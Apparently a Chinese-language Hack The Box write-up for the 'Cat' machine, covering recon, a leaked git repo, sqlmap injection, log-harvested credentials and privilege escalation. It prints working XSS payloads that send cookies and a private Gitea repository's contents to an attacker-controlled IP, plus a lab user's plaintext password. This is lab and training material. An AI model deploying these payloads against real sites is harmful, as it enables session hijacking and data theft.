Cat

信息收集

nmap -A -sS -Pn 10.10.11.53

image-20250219205858249

发现 git 泄露

python GitHack.py http://cat.htb/.git/

image-20250219210023476

首先看图片上传,白名单没法绕过

然后发现 xss 和 sql

xss

结合两个可能被后台机器人看到的页面view_cat.php admin.php

会输出如下信息

view_cat.php

再到两个可控输入contest.php join.php

可以看到 contest 中为与猫相关的信息,且有过滤

而 join 中的 name 会被 contest 带入猫库,并最后被 view_cat 输出为 Owner

contest

尝试将 name 写为

1
2
3
<script>
document.location = "http://10.10.xx.xx:8080/?c=" + document.cookie;
</script>

将 cookie 带出

cookie

view_cat

一开始以为是 cat 的信息,后来发现 cat 的信息都被contains_forbidden_content过滤了,然后才发现 owner_username

sql inject

所有的 sql 语句都 prepare 过了,只有accept_cat.php(10)存在一条 insert 没有预编译

1
sqlmap --batch --risk 3 --level 5 --threads 10 -r "~/tmp.txt" --dbms=sqlite -T users --dump

csv

hash

提权

上 linpeas

linpeas-logs

linpeas-lastest

linpeas-mails

发现大量 log 以及 mail

结合之前的包,发现密码在 get 中明文传递

log-passwd

查看 apache log 中loginPassword字段找到 axel 密码

image-20250220162530669

1
axel: aNdZwgC4tI9gnVXv_e3Q;

登陆获取 user.txt

查看 axel 的 mail

发现 rosa 发过来的

mail

开隧道代理后进入该网址

登录 rosa 以及 axel 的账号发现只有 axel 能登

还没有该仓库的权限

发现 1.22.0 版本 gitea 存在 xss 漏洞

添加仓库 介绍写入 xss 初始化

1
2
3
4
<a
href='javascript:fetch("http://localhost:3000/administrator/Employee-management/").then(response=>response.text()).then(data=>fetch("http://10.10.16.22:8080/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'
>Click me</a
>

然后给他发邮件

1
echo -e "Check my repo http://localhost:3000/axel/test" | sendmail jobert@cat.htb

监听时返回过长 开 wirshark 抓本地连接

image-20250220161633473

解码得到一些文件

搜索title=即可看到仓库里有哪些文件

image-20250220161715394

然后挨个找 发现 index.php 里有密码

1
2
3
4
<a
href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php").then(response=>response.text()).then(data=>fetch("http://10.10.16.22:8080/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'
>Click me</a
>

image-20250220155420455

image-20250220155400083

su root 获取 root.txt